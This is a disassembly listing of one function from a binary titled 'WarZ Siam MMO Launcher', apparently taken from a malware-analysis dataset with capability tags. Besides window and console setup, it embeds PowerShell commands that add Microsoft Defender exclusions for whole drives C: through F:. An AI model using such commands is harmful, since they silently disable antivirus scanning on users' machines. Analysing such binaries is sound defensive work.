Function at 0x57fe40
Capabilities:
Hide graphical window
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5dcfbe
mov eax, dword fs:[0]
push eax
sub esp, 0x208
mov eax, dword [0x6c2da0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.0058e450
cmp byte [0x878387], 0
je 0x57fec1
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call fcn.005bd18a
add eax, 0x20
push eax
push 0x685c0c
push str.CONOUT_
call fcn.005bd0ca
call fcn.005bd18a
push eax
push 0x68a488
push str.CONIN_
call fcn.005bd0ca
add esp, 0x18
mov dword [0x7d2cf0], 1
jmp 0x5800c3
sub esp, 0x18
mov ecx, esp
push 0x6e
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push str.powershell__inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath_C:
mov byte [ecx], 0
call fcn.005833a0
call fcn.0057fd50
mov ecx, esp
push 0x6e
push str.powershell__inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath_D:
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
call fcn.005833a0
call fcn.0057fd50
mov ecx, esp
push 0x6e
push str.powershell__inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath_E:
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
call fcn.005833a0
call fcn.0057fd50
mov ecx, esp
push 0x6e
push str.powershell__inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath_F:
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
call fcn.005833a0
call fcn.0057fd50
add esp, 0x18
call fcn.0057d000
push 5
push dword [0x7d43ec]
call dword [sym.imp.USER32.dll_LoadIconA]
push eax
push 0
push 0x80
push dword [0x7d43f0]
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x800000
push 0
push dword [0x7d43f0]
call fcn.00596f10
push 0xc00000
push 0
push dword [0x7d43f0]
call fcn.00596f10
add esp, 0x18
push 0x57fbd0
push 0xfffffffffffffffc
push dword [0x7d43f0]
call dword [sym.imp.USER32.dll_SetWindowLongA]
call fcn.005a0910
push 0
push 0
push 0
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateICA]
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ebx, eax
push 8
push ebx
call esi
push 0xa
push ebx
mov edi, eax
call esi
mov ecx, eax
lea eax, [edi - 0x311]
cdq
sub eax, edx
mov esi, eax
lea eax, [ecx - 0x28a]
sar esi, 1
cdq
sub eax, edx
sar eax, 1
push 0
push 0x28a
push 0x311
push eax
push esi
push 0
push dword [0x7d43f0]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 0x102650
call fcn.00598870
add esp, 4
mov dword [ebp - 0x214], eax
mov dword [ebp - 4], 0
test eax, eax
je 0x58003f
mov ecx, eax
call fcn.00598b40
jmp 0x580041
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov ecx, eax
push 0
push dword [0x7d43f0]
mov dword [0x7d2da4], eax
call fcn.0059b0b0
call fcn.0057f0f0
push str.Apr_11_2024_11:17:58
push str.0.1.8
lea eax, [ebp - 0x210]
push str.WarZ_Siam_MMO__Launcher__s___s_
push eax
call fcn.00582f30
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
push dword [0x7d43f0]
call dword [sym.imp.USER32.dll_SetWindowTextA]
call fcn.0057f580
push 5
push dword [0x7d43f0]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
call dword [sym.imp.USER32.dll_ClipCursor]
mov ecx, dword [0x7d2d8c]
call fcn.005a3ec0
mov ecx, dword [0x7d2d88]
call fcn.005a3f10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005bb4c3
mov esp, ebp
pop ebp
ret